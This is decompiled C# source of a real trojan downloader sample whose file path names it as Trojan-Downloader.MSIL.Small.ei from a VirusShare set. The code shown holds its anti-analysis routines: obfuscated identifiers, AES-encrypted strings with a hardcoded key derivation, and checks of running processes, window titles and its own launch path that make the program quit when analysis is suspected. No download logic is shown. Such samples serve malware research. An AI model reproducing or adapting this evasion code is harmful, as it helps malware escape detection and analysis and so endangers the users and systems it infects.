// Decompiled with JetBrains decompiler
// Type: Downloader_insomnia.klsdjfjawioefjoweijf
// Assembly: ghUwasnMwNVuZoXpUUIgmPE, Version=9.4.6.1, Culture=neutral, PublicKeyToken=null
// MVID: BE1330B2-6F78-495D-AD9D-00E25615D37A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.Small.ei-e7acee3872f3a81c6c7fa8a4c456724b34ac6e9ccabd10b0a455852ab5d130f5.exe

using Downloader_insomnia.My;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

namespace Downloader_insomnia
{
  public class klsdjfjawioefjoweijf
  {
    [DebuggerNonUserCode]
    public klsdjfjawioefjoweijf()
    {
    }

    public class K7ehfujkhUEFHkjdfh
    {
      [DebuggerNonUserCode]
      public K7ehfujkhUEFHkjdfh()
      {
      }

      public static void uhhDevfUaTuovBkIFokCqXr()
      {
        klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.ITImStgMTmPIiIkVOoOfOHT();
        klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.oPPeLiHBeXfBoOUfRTOwZqp();
        klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.KHsfopOiEXsIrYwsqHOUGiZ();
        klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.MMrbQsCDnTPMtVWaRVMobCb();
        klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.ZkFGZljSRXNdpriNFlnKoOJ();
      }

      public static void ITImStgMTmPIiIkVOoOfOHT()
      {
        if (!MyProject.Forms.Form1.Name.Contains("#"))
          return;
        ProjectData.EndApp();
      }

      public static object oPPeLiHBeXfBoOUfRTOwZqp()
      {
        Process[] processes = Process.GetProcesses();
        int index = 0;
        while (index < processes.Length)
        {
          Process process = processes[index];
          if (false)
            ProjectData.EndApp();
          if (false)
            ProjectData.EndApp();
          if (false)
            ProjectData.EndApp();
          if (false)
            ProjectData.EndApp();
          if (process.MainWindowTitle.Contains(Conversions.ToString(klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.LfbPLHTNdnJsnwdQbvnOKUT("T/2RTV3JtEsMfDOJ6Ae4/w=="))))
            ProjectData.EndApp();
          checked { ++index; }
        }
        object obj;
        return obj;
      }

      public static object ZkFGZljSRXNdpriNFlnKoOJ()
      {
        if (Process.GetProcessesByName(Conversions.ToString(klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.LfbPLHTNdnJsnwdQbvnOKUT("AFI4uMAXrpZLQpvLuDjCVQ=="))).Length >= 4 & Process.GetProcessesByName(Conversions.ToString(klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.LfbPLHTNdnJsnwdQbvnOKUT("iB7f/QCbPaZw+xT1RJNbvQ=="))).Length >= 4)
          ProjectData.EndApp();
        object obj;
        return obj;
      }

      public static object KHsfopOiEXsIrYwsqHOUGiZ()
      {
        if (Process.GetProcessesByName(Conversions.ToString(klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.LfbPLHTNdnJsnwdQbvnOKUT("C908HIbkJNbaJ2f6Wlcikw=="))).Length >= 1)
          ProjectData.EndApp();
        object obj;
        return obj;
      }

      private static object LfbPLHTNdnJsnwdQbvnOKUT(string IZEMSJGTjLJgDeZUW)
      {
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(nameof (LfbPLHTNdnJsnwdQbvnOKUT), new byte[8]
        {
          (byte) 1,
          (byte) 2,
          (byte) 3,
          (byte) 4,
          (byte) 5,
          (byte) 6,
          (byte) 7,
          (byte) 8
        });
        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length);
        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length);
        MemoryStream memoryStream = new MemoryStream();
        CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write);
        object obj;
        try
        {
          byte[] buffer = Convert.FromBase64String(IZEMSJGTjLJgDeZUW);
          cryptoStream.Write(buffer, 0, buffer.Length);
          cryptoStream.Close();
          obj = (object) Encoding.UTF8.GetString(memoryStream.ToArray());
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
        return obj;
      }

      public static object MMrbQsCDnTPMtVWaRVMobCb()
      {
        if (Operators.CompareString(Application.ExecutablePath, Conversions.ToString(Operators.ConcatenateObject((object) Application.StartupPath, klsdjfjawioefjoweijf.K7ehfujkhUEFHkjdfh.LfbPLHTNdnJsnwdQbvnOKUT("c3jC9CrVvUFjr1OrmEGi6Q=="))), false) == 0)
          ProjectData.EndApp();
        if (false)
          ProjectData.EndApp();
        if (false)
          ProjectData.EndApp();
        if (false)
          ProjectData.EndApp();
        if (false)
          ProjectData.EndApp();
        object obj;
        return obj;
      }
    }
  }
}
